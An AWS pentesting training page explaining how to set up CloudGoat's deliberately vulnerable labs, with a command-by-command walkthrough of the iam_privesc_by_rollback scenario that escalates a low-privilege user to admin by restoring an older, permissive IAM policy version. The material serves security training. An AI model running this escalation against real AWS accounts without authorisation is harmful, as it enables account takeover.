> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/labs/cloudgoat-walkthroughs.md).

# CloudGoat Walkthroughs

CloudGoat is a "Vulnerable by Design" AWS deployment tool by Rhino Security Labs. Use it to practice in a real AWS account safely.

## Setup

```bash
git clone https://github.com/RhinoSecurityLabs/cloudgoat
cd cloudgoat
pip3 install -r requirements.txt

# Configure with your personal AWS account
./cloudgoat.py config profile
./cloudgoat.py config whitelist --auto  # whitelist your IP
```

## Available Scenarios

| Scenario                    | Covers                                 | Module      |
| --------------------------- | -------------------------------------- | ----------- |
| `iam_privesc_by_rollback`   | IAM policy version rollback escalation | 01-iam      |
| `cloud_breach_s3`           | S3 public access + role chaining       | 02-s3       |
| `ec2_ssrf`                  | SSRF → EC2 metadata → privesc          | 03-ec2-ssrf |
| `lambda_privesc`            | Lambda + PassRole escalation           | 04-lambda   |
| `iam_privesc_by_attachment` | AttachUserPolicy escalation            | 01-iam      |
| `codebuild_secrets`         | Secrets in CodeBuild env vars          | 05-secrets  |
| `rce_web_app`               | Web app RCE → AWS creds                | 03-ec2-ssrf |

## Running a Scenario

```bash
# Create the vulnerable environment
./cloudgoat.py create iam_privesc_by_rollback

# CloudGoat gives you starting credentials — use those
aws configure --profile cloudgoat-start
# Enter the provided key/secret

# When done, tear it down
./cloudgoat.py destroy iam_privesc_by_rollback
```

## Walkthrough: iam\_privesc\_by\_rollback

**Objective:** Start as a low-priv user, become admin.

```bash
# Step 1: Check who you are
aws sts get-caller-identity --profile cloudgoat-start

# Step 2: Check your permissions
aws iam list-attached-user-policies --user-name <YOUR-USERNAME> --profile cloudgoat-start

# Step 3: List policy versions (look for old versions with more access)
aws iam list-policy-versions \
  --policy-arn arn:aws:iam::ACCOUNT:policy/cg-raynor-policy \
  --profile cloudgoat-start

# Step 4: Read the old versions
aws iam get-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT:policy/cg-raynor-policy \
  --version-id v1 \
  --profile cloudgoat-start

# Step 5: Set the permissive old version as default
aws iam set-default-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT:policy/cg-raynor-policy \
  --version-id v1 \
  --profile cloudgoat-start

# Step 6: Verify you're now admin
aws iam list-users --profile cloudgoat-start  # should work now
```


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